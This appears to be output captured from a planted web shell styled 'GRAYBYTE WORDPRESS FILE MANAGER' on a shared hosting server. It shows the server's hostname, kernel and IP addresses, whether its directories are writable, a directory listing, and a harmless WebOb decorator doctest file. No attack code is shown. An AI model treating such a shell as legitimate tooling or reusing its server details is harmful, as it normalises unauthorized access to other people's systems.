✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ beluga.o2switch.net ​🇻​♯➤ 4.18.0-553.123.2.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 185.154.139.77 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.84
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /opt/alt/python37/share/doc/alt-python37-webob//test_dec.txt
A test of the decorator module::

    >>> from doctest import ELLIPSIS
    >>> from webob.dec import wsgify
    >>> from webob import Response, Request
    >>> from webob import exc
    >>> @wsgify
    ... def test_app(req):
    ...     return 'hey, this is a test: %s' % req.url
    >>> def testit(app, req):
    ...     if isinstance(req, basestring):
    ...         req = Request.blank(req)
    ...     resp = req.get_response(app)
    ...     print resp
    >>> testit(test_app, '/a url')
    200 OK
    Content-Type: text/html; charset=UTF-8
    Content-Length: 45
    <BLANKLINE>
    hey, this is a test: http://localhost/a%20url
    >>> test_app
    wsgify(test_app)

Now some middleware testing::

    >>> @wsgify.middleware
    ... def set_urlvar(req, app, **vars):
    ...     req.urlvars.update(vars)
    ...     return app(req)
    >>> @wsgify
    ... def show_vars(req):
    ...     return 'These are the vars: %r' % (sorted(req.urlvars.items()))
    >>> show_vars2 = set_urlvar(show_vars, a=1, b=2)
    >>> show_vars2
    wsgify.middleware(set_urlvar)(wsgify(show_vars), a=1, b=2)
    >>> testit(show_vars2, '/path')
    200 OK
    Content-Type: text/html; charset=UTF-8
    Content-Length: 40
    <BLANKLINE>
    These are the vars: [('a', 1), ('b', 2)]

Some examples from Sergey::

    >>> class HostMap(dict):
    ...     @wsgify
    ...     def __call__(self, req):
    ...         return self[req.host.split(':')[0]]
    >>> app = HostMap()
    >>> app['example.com'] = Response('1')
    >>> app['other.com'] = Response('2')
    >>> print Request.blank('http://example.com/').get_response(wsgify(app))
    200 OK
    Content-Type: text/html; charset=UTF-8
    Content-Length: 1
    <BLANKLINE>
    1

    >>> @wsgify.middleware
    ... def override_https(req, normal_app, secure_app):
    ...     if req.scheme == 'https':
    ...         return secure_app
    ...     else:
    ...         return normal_app
    >>> app = override_https(Response('http'), secure_app=Response('https'))
    >>> print Request.blank('http://x.com/').get_response(app)
    200 OK
    Content-Type: text/html; charset=UTF-8
    Content-Length: 4
    <BLANKLINE>
    http

A status checking middleware::

    >>> @wsgify.middleware
    ... def catch(req, app, catchers):
    ...     resp = req.get_response(app)
    ...     return catchers.get(resp.status_int, resp)
    >>> @wsgify
    ... def simple(req):
    ...     return other_app # Just to mess around
    >>> @wsgify
    ... def other_app(req):
    ...     return Response('hey', status_int=int(req.path_info.strip('/')))
    >>> app = catch(simple, catchers={500: Response('error!'), 404: Response('nothing')})
    >>> print Request.blank('/200').get_response(app)
    200 OK
    Content-Type: text/html; charset=UTF-8
    Content-Length: 3
    <BLANKLINE>
    hey
    >>> print Request.blank('/500').get_response(app)
    200 OK
    Content-Type: text/html; charset=UTF-8
    Content-Length: 6
    <BLANKLINE>
    error!
    >>> print Request.blank('/404').get_response(app)
    200 OK
    Content-Type: text/html; charset=UTF-8
    Content-Length: 7
    <BLANKLINE>
    nothing


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
25 Jul 2024 8.44 AM
root / root
0755
comment-example-code
--
25 Jul 2024 8.42 AM
root / linksafe
0755
jsonrpc-example-code
--
25 Jul 2024 8.42 AM
root / linksafe
0755
modules
--
25 Jul 2024 8.42 AM
root / linksafe
0755
pycon2011
--
25 Jul 2024 8.42 AM
root / linksafe
0755
wiki-example-code
--
25 Jul 2024 8.42 AM
root / linksafe
0755
comment-example.txt
13.656 KB
17 Apr 2012 10.54 AM
root / linksafe
0644
conf.py
0.926 KB
13 Oct 2011 5.46 PM
root / linksafe
0644
differences.txt
19.094 KB
17 Apr 2012 10.54 AM
root / linksafe
0644
do-it-yourself.txt
26.407 KB
22 Sep 2011 8.05 AM
root / linksafe
0644
doctests.py
0.679 KB
22 Sep 2011 8.05 AM
root / linksafe
0644
file-example.txt
7.475 KB
17 Apr 2012 10.54 AM
root / linksafe
0644
index.txt
11.888 KB
11 Oct 2012 5.15 PM
root / linksafe
0644
jsonrpc-example.txt
20.729 KB
17 Apr 2012 10.54 AM
root / linksafe
0644
license.txt
1.063 KB
22 Sep 2011 8.05 AM
root / linksafe
0644
news.txt
34.788 KB
11 Oct 2012 6.06 PM
root / linksafe
0644
reference.txt
30.218 KB
11 Oct 2012 5.15 PM
root / linksafe
0644
test-file.txt
0.034 KB
18 Sep 2011 5.55 PM
root / linksafe
0644
test_dec.txt
3.064 KB
22 Sep 2011 8.05 AM
root / linksafe
0644
test_request.txt
15.781 KB
11 Oct 2012 5.15 PM
root / linksafe
0644
test_response.txt
12.893 KB
22 Sep 2011 8.05 AM
root / linksafe
0644
wiki-example.txt
23.797 KB
13 Oct 2011 5.46 PM
root / linksafe
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF